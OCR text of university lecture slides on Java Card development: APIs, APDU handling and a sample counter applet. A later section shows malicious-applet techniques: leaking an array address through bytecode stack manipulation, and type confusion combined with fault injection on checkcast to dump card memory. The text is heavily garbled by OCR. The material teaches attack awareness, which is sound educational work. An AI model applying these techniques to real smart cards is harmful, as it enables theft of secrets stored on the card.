Note that hardware processors executing Java CaM b de exist (e.g. ST22).
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Agenda &x@
* Introduction
* JCRE (RuntimeERvir ent)

* JCVM (Virtu ine)
* APIs
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APIs (1/2)

* Define a set of Java classes
* Used to develop Java Card services (applets)
* Dedicated for a smart card environment

* Those classes comply with current standard

* Business Java (java.lang.Object)
* |1SO-7816 (e.g., APDUs)
* Cryptographic

* Those classes do not define by themselves serv

Sécurité des systemes embarqués - | 2 /749 -

e Contains 3 mandoA4ry.packages
* java.lang

uveron 452

APIs (2/2)

* Basic clas elaguage
* Javacarwh ework

* Javacard\gecurity

* Core classes dedicated to cryptographic services (public/private key, random number
generator,...)

* And one optional package
* javacardx.crypto
* Implementation classes for ciphering/deciphering (strong cipher)
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Jjava.lang

* Object { public Object();
public boolean equals (Object obj); }

* Throwable { public Throwable(); }

-—- Exception
-- RuntimeException
-— ArithmeticException
-- ClassCastException
-— NullPointerException
-- SecurityException
-- ArrayStoreException
-- NegativeArraySizeException
-— IndexOQOutOfBoundsException
-- ArrayIndexOutOfBoundsException
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¢

Javacard. t éﬁzwork

° class java.lang.Object

°class javacard.framework.Al

° class javacard.framewor DU
° class javacard.framew plet
° class javacard.framew&sk. tem
° class javacard.fra rk.0 IN (implements javacard.framework.PIN)
° class java.lang.Th e

° class java. tion

°clagyja .framework.CardException

class javacard.framework.UserException
java.lang.RuntimeException
javacard.framework.CardRuntimeException
class javacard.framework.APDUException

° class javacard.framework.ISOException

° class javacard.framework.PINException

° class javacard.framework.SystemException

° class javacard.framework.TransactionException
° class javacard.framework.Util

° interface javacard.framework.ISO7816

° interface javacard.framework.PIN Optionally used by the developer

° interface javacard.framework.Shareable

. class javacard.framework.ISOException used very often in applet development
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Javacard.framework

* public class AID
* Encapsulates constants related to ISO7816-5
* Mainly used at beginning of “communication” between applets

* public class Util

* Functions for byte array manipulation and comparison
* arrayCompare () compares 2 arrays (in constant time)
* arrayCopy () copies 1 array into another atomically
* arrayCopyNonAtomic () copies 1 array into another non-
* arrayFillNonAtomic () fills an array with a byte value

* Functions for type conversion (short/byte)

* short getShort () I:H:[

* short makeShort ()
7E 62
. » .

* void setShort () M I:I
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javacard. t work

* public final class
* Encapsulates 7816-4 APD

* APDUs (Application Pro
between a reader and

* APDUs are defined othc ands and responses to hide the low level details of the protocol used (T=0 or T=1)
e Status words SW 2 are stdndardized (OK = 0x9000)

lem an /0 buffer
ming Data Units) define the format of the «data packets» exchanged

Comm APEU with data sent to the card

CLA|INS| Pl | P2 | Lc | Dataln |Le b——s=
te Le bytes
Response APDU with data returned by the card
- - - - - - - - - ﬂz Dataout |swilswzf === === -
Ly bytes

* Provides methods for receiving data and sending data
* Designed to be protocol independent

* The incoming / outgoing APDU data size may be bigger that the APDU buffer size and need to be
read/write in portions by the applet.

APDU objects are owned by the JCRE (Temporary JCRE entry point objects)
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Handling the APDU class
o]

1

 Command_ M !

APDU| T || initializes
_________ -y process(apdu)

| Client |
T

__getBuffer

_zetIncomingAndRedeive

s}

__ReceiveBytes

Hors Cartg -
_zetOutgoing /~
- :setOutgoingL{ th
Oulgoing )| [
zendBytes
jerminates _ _ _ _||______
reads data
————————— -
__Response ~
~arpp L : |

Sécurité des systemes embarqués - | 2/ 9 - uveron

Handling the A {@class

e process (APD pdl) method is called
* apdu.getB e
* CLAis chec then INS is examined

& S CEAN | SINSH | SPE | SP2EN | BN i

INS =10

method1() method3()
method2()

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Jjavacard.framework

* public interface IS07816
* Contains only static constants

* public final static field with SW prefixes define status words
(standardized status response of ISO7816-4)

* e.g.:SW WRONG P1P2 // Incorrect parameters (P1,P2) = 0x6B00
* Fields with OFFSET prefixes define constants/offset to use as index in the APDU
buffer (byte array)

* e.g.: OFFSET CLA // APDU he
* Fields with “ 00 suffix require the low order byte to be c
* e.g.:SW BYTES REMAINING 00 // Response bytg

e public class ISOException
* Encapsulates an ISO 7816-4 response status wor
e throwIt (short reason) allowstoou

ason code
a status word error
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2
Java Card Exce&&@
X

0 Other
ISOException Exception
1 Forward
Forward reason information

! !

SW1 Sw2 6F 00

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron 461



Jjavacard.framework

*public interface PIN
* Define a PIN behavior and a PIN value
* Try limit maximum trials of an incorrect PIN before being blocked,
* Max PIN size, the maximum length of PIN,
* Try counter, the remaining number of trial,

* Validated flag => true if a valid PIN has been presented. eset on every
card reset.
* If a transaction is in progress update of the try coun a t participate to

the transaction,
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&

Javacard. t work

*public clas n rPIN
* Implements inteffade/RIN

* Full rights (ﬁ’ codmanagement

* securely implemented against attacks

Methods available:

check()
isValidated( )
resetAndUnblock( )
setValidatedFlag( )

reset( )
getTriesRemaining( )
getValidatedFlag( )
update( )
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Jjavacard.framework

* public final class JCSystem

* Static methods (natives) for interaction with the JCRE
* Transactions
* Only one level of transaction allowed

* beginTransaction (), commitTransaction (), abortTransaction ()
* Limited by the RAM and EEPROM capacity

* Transient array
* makeTransientXXXArray (length, event)
* Build a transient array reinitialized at reset or deselection
* XXX being Boolean, Byte, Short or Object
* eventis CLEAR_ON DESELECT or CLEAR_ON_RESET

* Object sharing
* Build an object that inherit from Shareable

* Provide a reference with getAppletShareablel eObject (AID,
Parameter)
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¢

Javacard. t work
* public abstr c¥ass Applet
* Super class of all 4v d Applet, user applets must subclass Applet class.
* Methods call the JQE
* User applet mplements
* statif) v install (byte[] buf, short off, byte len)

e a new applet instance
id process (APDU apdu)
e Called equesting the applet instance to execute a received command
* User applets MAY overrides
* boolean select ()
e Called when the applet instance is selected
* void deselect ()
* Called when the applet instance is selected
* Note that:
* protected void final register()
* Called during installation for registering the newly created instance
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Développement Java C@@

Sécurité des systemes embarqués - | 2 /749 - uveron 466

¢

. ’ .
Construction d cations carte
e Une application cay,
* Code de la carte ion serveur = applet Java Card)
* Codedanslet inal @plication cliente)

* Construction pplication Java Card
* Constructi plication serveur (applet)

plet dans les cartes
* Initialisati s services

* Construction de I'application cliente
* Invocation des services

* Définir le but de 'application puis spécifier le protocole de communication
entre I'application cliente et I'applet Java Card.
* Commandes a traiter
* Réponses possibles
* Cas d'erreurs
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Construction d'une applet Java Card

* Role d'une applet

* Maintenir son propre état : gestion des champs de I'applet, créer des objets
et les référencer pour travailler

* Répondre a des APDUs de commande (méthode process () ) et retourner
des APDUs de réponse

* Conception
* Définir les structures de données nécessaires
* Créer les objets de base a l'installation, initialiser les chdgps

* Implémentation de la méthode install ()
* Définir les APDUs traités par la méthode process|
* Implémentation d'un analyseur de commandes

* Utilisation des champs et objets de I'applet
e Utilisation des APIs
* Définir les traitements a la sélection et a la éleCtion
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Construction d&'}& pplet Java Card
I

* Fabrication (avec@
* Compilation

¢ Productiop fichier cfass

on du fichier CAP

* Initialisation
* Chargement du fichier CAP
* Installation de I'applet (instanciation) via un appel a la méthode install ()
en lui donnant un AID
e Utilisation
* Via I'AID défini pour cette applet
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Développement d'applet
W Y g
B .cass

AIDistanc * }

JCVM

S
Sécurité des systemes embarqués@ gauveron 470

JCRE
T
=mbargus
JOVM { Inferprélenr)
o
Progamme & awialktion :
:
I
1
I
I
I
[ .
PC ou station de travail ! Carle i puce
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Construction de 'application cliente

* Role de l'application cliente
* Stimuler I'application serveur et utiliser les résultats pour faire son travail (exemple informer le
commergant que oui l'ordre a bien été accepté)

* Conception
* Définir les structures de données propre a l'application
. CPo)isir son langage, un compilateur, éventuellement un framework développement (.NET, Java,
etc.
* Choisir un framework de communication : PC/SC, JPC/SC, OCF, javax.smartcardio, etc.
. Implémentation en utilisant ce framework du protocole de communicatigrmayec le serveur (carte)
* Etablissement de la liaison avec le serveur : envoie d'un APDU de sélection avef YAID\{&\ |'applet

* Invocation des services de I'applet :
* Codage et envoie d'APDUs de commande conformes a ceux traités par I'apple

* Réception et décodage des APDUs de réponse retournés par |'applet
Select “appier” APDU%@@_ o r
* Fabrication 007 reponearpy | £
* Avec I'IDE choisi oneund} ,
o o | e |
* Déploiement o
. \ . re , erminates g 2 COKEES FESPONGE
* sur les machines ou le service sera utilisé pgpterese oy | (= EEEHE - -
decodes 7
* Utilisation g
Sécurité des systemes embarqués - | 2 /749 - uveron 472
Résumé constr n d’applications
* Développement de I'a te
 Utilisation de I'API Ja
* Essentiellement p r des APDUs
* Conversion et in tio Oans la carte
* Format du by t procédure d’installation dans la carte non «encore» définis par Java Card
* Exécution pa
* Sélectio plet définie par Java Card

* Récepti ission d’APDUs par l'applet définies par Java Card

* Développement d¥€ 'application cliente
* Utilisation d’'une APl de communication carte permettant de transporter des APDUs
* Exemple : API OCF pour Java standard
» Sélection de l'applet par son AID
* Commande définie par Java Card

* Echanges d’APDUs avec l'applet carte
* Codage d’APDUs de commande et décodage d’APDUs de réponse conformes aux APDUs traités par
I'applet
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Les difficultés du developpement

* Client et applet communiquent par APDUs
* Structure de données pauvre (tableau d’octets), peu explicite (pas de typage), et
difficile a manipuler
* Oblige a définir le contenu et la sémantique des messages échangés : décodage et
encodage d’APDUs par le client et I'applet
* La spécification des échanges entre client et applet correspond a un
protocole
* Le format des messages APDUs échangés est utilisé comme s tion commune
* Travail sur un protocole plutét que sur des fonctionnalités
* Nécessite une formation carte

* Lapplet et le client implémentent un protocole
* Code «dupliqué» dans les programmes clients et app
* Dans la carte : toutes les applets décodent des APDUs

* Code «sensible»
* Difficile a programmer : prévoir tous les cas, pas d’glfils
* Source d’erreurs
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Q

Exemple «Com » . Conception
* Etat de I'applet :

* Maintient un le tiere positive ou nulle (pas d'objets)
* Installation : on de l'objet Applet

* Initialisaty valeur du compteur

* Enregi ent aupres du JCRE

* Opérations :
* Lecture : retourne la valeur du compteur

* Incrémentation/décrémentation : ajoute/soustrait un montant au compteur
et retourne la nouvelle valeur du compteur

e Sélection et désélection :
e Aucun traitement
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Exemple «Compteur» : Conception

3+ L 1 . Command APDU with data sent to the card
¢ APDUS traltes par | applet . wINSIPllPﬂLCl Dataln | L& f——a=
* int lire() e Lo bytes
Response APDU with data returned by the card
° Commande . AO 10 XX XX OO 04 - - DatadDut SWlEH —m—m - - ==
* Réponse : RV3 RV2 RV1 RVO 90 00 s

* int incrementer( int)

* Commande : A0 12 XX XX 04 AM3 AM2 AM1 AMO 0
* Réponse : RV3 RV2 RV1 RV0 90 00

* int decrementer( int) :

* Commande : A0 14 XX XX 04 AM3 AM2 AM1
* Réponse : RV3 RV2 RV1 RVO0 90 00

Sécurité des systemes embarqués - |
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Applet «Compt% : Classe Applet

uveron 476

package fr.cryptis.compteur,
import javacard.framework

public class Compteur e Applet {

private int vale} <>
public Compte ¥ faleur = 0; }

public stat id install( byte[] bArray, short bOffset, byte bLength)
{ new Compteur gister(); }

public void process( APDU apdu ) {
byte[] buffer = apdu.getBuffer();

if ( buffer[IS07816.0FFSET CLA] != (byte)0xA0 )
ISOException.throwIt (ISO7816.SW CLA NOT SUPPORTED) ;
switch ( buffer[ISO7816.0FFSET INS] ) {
case (byte)0x10: ... // Opération de lecture
case (byte)0x12: ... // Opération d'incrémentation
case (byte)0x14: ... // Opération de décrémentation

default: ISOException.throwIt (ISO7816.SW INS NOT SUPPORTED) ;
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Un point sur les types

* Java Card uses 16 bit arithmetic, not 32 bit

* Java Card code contains many (short) & (byte) casts: all intermediate
results (which are of type int) must be cast to short or (byte) so that
results are the same on a 16 bits Java Card VM as on a normal 32 or 64 bits

Java VM
short s; byte b;
s = bt+s+1l;
// not ok, compiler complains; there i
// implicit cast from 32 to 16 bit
s = (short) (b+s+1);
// not ok, converter complains; a i CPU will
// implicitly cast intermediate o 16 bit
s = (short) (b+ (short) (s+1)) //
Sécurité des systemes embarqués - | 2 /749 - uveron 478
Q ¢
Un point sur le S

* (un)signed bytes
* bytesin Java §ard are signed
e j.e.foran ,b€¥128, ..., 127}

* To interpr s unsigned , write
*b& FFETO, ..., 255}
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Applet «Compteur» : décrémentation

case 0x14: // Opération de déc

{

// Réception des données

byte octetsLus = apdu.setl

if ( octetsLus != 4 )
ISOException.throwlIt (I

int montant = (buffer[ISO7

rémentation

ncomingAndReceive () ;
SO7816.SW_WRONG_LENGTH);

816.0FFSET_CDATA]<<24) |

(buffer[ISO7816.0FFSET CDATA+1]<<16)
(buffer[ISO7816.0FFSET CDATA+2]<<8) |
buffer[IS07816.0FFSET CDATA+3];

// Traitement

if ( montant<0 || valeur-montant<0 )
ISOException.throwIt ((short)0x6910);

valeur = valeur - montant;

// Envoie de la réponse

buffer[0] = (byte) (valeur>>24);
buffer[l] = (byte) (valeur>>16);
buffer[2] = (byte) (valeur>>8);

buffer[3] = (byte) (valeur);

apdu.setOutgoingAndSend ( (short) 0, (short)4);

return;

Rappel : App
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¢

let.Jave Card

* Une applet carte est un pkog me serveur de la Java Card

* APDU de sélection dep
* Sélection par AID (ch

* Une fois installée
* Classe qui hérit

le tefminal
plet doit avoir un AID unique)

la cthe, I'applet est toujours disponible

acard.framework.Applet

* Doit implémeptér lesméthodes qui interagissent avec le JCRE :

* public iCAV
bLength)

oid install( byte[] bArray,

short bOffset, byte

* Appelée (une fois) par le JCRE quand I'applet est chargée dans la carte
* Doit s’enregistrer auprés du JCRE (méthode register ())

* public boolean

select ()

e Appelée par le JCRE quand un APDU de sélection est recu et désigne cette applet

* Rend I'applet active

* public abstract void process( APDU apdu )
* Appelée par le JCRE quand un APDU de commande est regu pour cette applet (doit étre active)
* public void deselect ()
e Appelée par le JCRE pour désélectionner I'applet courante
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Réalisation d’applets Jav
malveillantes

Sécurité des systemes embarqués - | uveron

g 0
Introduction f}&

* Java Card securit
* Strong typing y de verification
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L'architecture Java Card

Development Library
Java source code

Jjar ,
) Java Class files

A4

Java
Compiler | Card
Image

Byte code verifier,

. Jjar
* java converter
‘ Java Card Virtual Machine ’—" Off-card loade
l Java Card files
4 API
On-card| *
Interpreter
loader
0.S.
L .cap
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First step retrie é&’ay address

public short getMyAddres B yte[] tab)
{

short toto=(byt

tab[0] = (bytefOxFF; o

return toto;

public void pr&()ﬂﬂl apdu) throws ISOException
{

case (byte) 0x29: // provide an array address
short val = getMyAddresstabByte (tab) ;
Util.setShort (apduBuffer, (short) 0, wval);
apdu.setOutgoingAndSend( (short) 0, (short) 2);
break;
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public short getMyAddresstabByte (byte[] tab)

{
short toto=(byte) 0xAA;
tab[0] = (byte) OxFF;
return toto;

}

getMyAddresstabByte (byte[] tab)
{

03 // flags: 0 // max stack: 3
21 // nargs: 2 // max locals: 1
10 AA bspush -86

31 sstore 2

19 aload 1

03 sconst 0

02 sconst ml

39 sastore

1E sload 2

78 sreturn

}

Sécurité des systemes embarqués - |

public short getMyAddresstabByte (byte
{

&
R

short toto=(byte)0xAA;

tab[0] = (byte)OxFF;

return toto; &)
}

N\

getMyAddresstabByte te}?}tab)
{
03 // flag / max_ stack: 3
21 // na 2 // max locals: 1
10 AA 86 ==

31 sstore 2
19 aload 1
03 sconst_0
02 sconst ml
39 sastore
1E sload 2
78 sreturn

}

this
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P
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L1
L2 toto 486

ToS

L0
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public short getMyAddresstabByte (byte[] tab)
{ short toto=(byte)0xAA;
tab[0] = (byte) OxFF;
return toto;
}
getMyAddresstabByte (byte[] tab)
{
03 // flags: 0 // max stack: 3
21 // nargs: 2 // max locals: 1
10 AA bspush -86
31 sstore 2 <iﬁ:jm
19 aload 1
03 sconst 0
02 sconst ml
39 sastore
1E sload 2
78 sreturn

}
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public short getMyAddresstabByte (byte [W
{

short toto=(byte) 0xAA;

tab[0] = (byte)OxFF;

return toto; &)
} /\

getMyAddresstabByte tg}i>tab)

{

03 // flag / max stack: 3
21 // na 2 // max locals: 1
10 AA 86

31 sstore 2

19 aload 1

03 sconst_0

02 sconst ml

39 sastore ¢
1E sload 2

78 sreturn

}

FF

00

@tab

this

@tab

Sécurité des systemes embarqués - ISIMA - 02

ToS
P

Lo

L1
L2 toto

L0

L1
L2 toto
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public short getMyAddresstabByte (byte[] tab)

{
short toto=(byte) 0xAA;
tab[0] = (byte) OxFF;
return toto;

}

getMyAddresstabByte (byte[] tab)
{

03 // flags: 0 // max stack:
21 // nargs: 2 // max locals:
10 AA bspush -86

31 sstore 2

19 aload 1

03 sconst 0

02 sconst ml

39 sastore

1E sload 2

78 sreturn =nu

}
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- @«3@?

:QArray address?

80 29 00 00 0O

ToS

Lo

L1
L2 toto 490

94 4C 90 00

The address is 0x944C

« We succeed to retrieve a reference in the card memory.
« This should be impossible if a verifier was embedded
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The Oberthur attack: Principle

* The Oberthur attack is based on type confusion,

* The applet loaded in the card is correct i.e. cannot be rejected by a
byte code verifier,

* The idea is to bypass the run time check made if the code impose a
type conversion,

* Inject the energy during the check,

* |tis a transient fault,
* The result can be the dump of the memory.
Sécurité des systemes embarqués - | 2/ 749 - 492

Java Type conv

* Java imposes a tw&e archy:
&y~

AN

T3 T1

Object

T2
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Java Type conversion

* Java imposes a type hierarchy:
* Polymorphism allows type conversion checked at run time
T2 t2; aload t2

Tl t1 = (T1) t2; — checkcast TI1
astore tl

O
s )
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Java Type conv

aload t2
checkcast T1
astore tl

Object

T2
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Java Type conversion

* Java imposes a type hierarchy:
* Polymorphism allows type conversion checked at run time
T2 t2; aload t2

T3 t3 = (T3) t2; —— checkcast T3
astore tl

Object @

ClassCastException

T2

The following ¢

* Define the class ith One field of type short,

public clas {shé?t theSize = 0x00FF; }

* In the apphi€ation defines instances,

A a = new A();
byte[] b = new byte[l1l0]; b[0] = 1; b[l]=2;..

a = (A) ((Object)b); // a & b point on the same object
a.theSize = OxFFFF; // increases the size of the []

// read and write your array..
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The Hazardous Type Confusion

* Confusion between a and b (header compatible)

a >, <
HEADER
. HEADER
Ob]e(.:t seen 0x00FF
as a A instance
) o0x01
0x02
0x03
> n
0x0 ‘\3

Sécurité des systémes embarqués - W?) —Muveron

@

The Hazardous Confusion
* Confusion between.&a (header compatible)
public A {short theSize = 0x00FF; }

publig\cla @B {C ¢ = null;}

Wa firewall will play its role!

/

P, < b
UV HEADER HEADER
Object seen 0x00FF | 0x0000 Object seen
as a A instance as a B instance

N
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All what you need is... type confusion

* To force the type confusion

<

aload b
checkcast
astore a

O

exception ClassCastException

* The BCV can check the applet it is a legal o@
e During runtime the checkcast instruc%;’ n generate an
2/ 9 - uveron
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&

%

- /O Line

" Power Consumption Signal

'

|

M|
:‘1‘!"

Power analysis@ checkcast

|

11
it
[N

i

L
LA e
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Power analysis of the checkcast

|y LB LB I 1 A S T N R R I N P IR 0 SO L (O O Y TS

/O Line ' SW: 6F 00

TR

™
‘ l I‘,‘ |

| ”\ } M (I ’IW Ll }“ |
: ,i. I'!I u 1 (o
| | (i f !‘ ‘ !:
c1assc£st ception
§ ,_t,hmwmgbypasseﬁm

................

1 Power Consumption Signal
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Conclusion
* || est possible de faire des attaques méme si la carte dispose d’un

vérifieur embarqué !
* \Vous pouvez ensuite essayez de lire la mémoire | ©

&9

Reverse engin using power analysis
baload sstore sload
ST I N A |
R i/ i
\/ 0 :\/\“
Vo
F IR
0 100 200 300 0 100 200 300

sload 3 ——

i i
0.2 0.4 0.6 0.8 1 1.2 14

e Référence

* Dennis Vermoen, Marc Witteman and Georgi N. Gaydadjiev
Reverse engineering Java Card applets using power analysis
Workshop in Information Security Theory and Practice 2007
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Conclusion Java Card

* Malgré toute I'attention portée a la carte a puce et a Java Card, il y a
encore tant a faire (si on considere un périphérique ouvert)
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Q

Smart Roads
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Prise de controle d’une voiture

* En local (07/2014) depuis la voiture connecté sur la prise
diagnostique (ODB)
* Ford Escape et Toyota Prius

* Désactivation des freins, klaxon,
ceinture de sécurité, volant, changer
I'affichage, etc.

* A distance (07/2015)
* Jeep Cherokee (Chrysler)

* Climatisation, essuie-glaces, radio,
coupure de la transmission, ...

* La porte d’entrée :
* Uconnect (systéeme de navigation, de divertissé
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Et vos objets cg tes?

* Vous pouvez trouv ﬁ dbjets connectés sur :

TR ¢

https://www.shodan.io/

rénaf

Total Results: 283,918

Top Services
u HTTP
»% HTTP(81)
erie.  HTTP (8080)

Saint-CyBard %1

R :
A a/

1 Top Organizations R THE D M e A ,‘.ng?l‘jléme
Telefonica del Peru 26,585 : & QP INIR
Deutsche TelekomAG 18,704
Neda Gostar Saba Data ... 16,258
Turk Telekom 11,147
Orange 7.681
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Solutions de sécurisation

* Logicielles
* Ajouter par exemple une multiplication modulaire inutile

* Ajouter du bruit, ...

* Matérielles
* Utiliser des composants/puces évalués et certifiés

TinySE+ revision 1.0
Matériel : SCB2561 rev A
Logiciel : IOTOS version 1.1.1

()} 1pEmIA

TSE+ ._I
SN

ATECC508A .
1és - | 2/7AL9 - uv

Device
i

©Odunaiputia
Refrodudinfinghts obtainable from

W CanGEASIack com

L
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,‘5{" une vraie carte a puce

~
HORS - SERIE

DOSSIER

CARTES A PUCE

DECOUVREZ LEURS
FONCTIONNALITES
ET LEURS LIMITES

L2 1 s¢ eto 0k V.28
lor rées Ry "D av ¢ une
\~ e 'son, / adreity

PROGRAMMATION SYSADMIN TECHNOLOGIE

> Programmez des applications > Installation, L Explorez le
carte en Perl, Python, Ruby, configuration et contenu de votre
Java, Caml, Prolog... (. 51) utilisation des carte bancaire
cartes apuce et avec les outils

L5066 - 2+ - 6,50 €% t tokens avec SSH, PC/SC Lite (. 10y
VPN, Firefox... (p.0)

HISTORIQUE £ TECHNOLOGIES

Retour sur la YesCard, un apergu Mise en place MIFARE classic,
du systdme bancaire francais d'infrastructures comment une faille
de gestion de clés compromet la

L 16844-2H-F 3,00 € -RD (PKI) utilisant des sécurité de milliards
‘ cartes a puce de cartes !




Smart Cards, Tokens, Security and Applications
Mayes, Keith; Markantonakis, Konstantinos (Eds.)
2008, XXXVIII, 392 p. 128 illus., Hardcover

ISBN: 978-0-387-72197-2 \ \ ;

.'

Smart Cards,
Tokens, Security

and Applications

@ Springer

Sécurité des systemes embarqués - y‘ L9 - I. 514
Secure Smart Embedded Devices, or Applications
Konstantinos Markantonakis, Kej aye PR
2014, XLI, 568 p. 135 illus., Har T
ISBN: 978-1-4614-7914-7 O ELERP . R
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' Platforms and
Applications

&) Springer
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Les cartes a puce

BOUZEFRANE Samia, PARADINAS Pierre
Ouvrage 326 p. 15.6x23.4 cm Relié

™

&
¥
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Les cartes a puce
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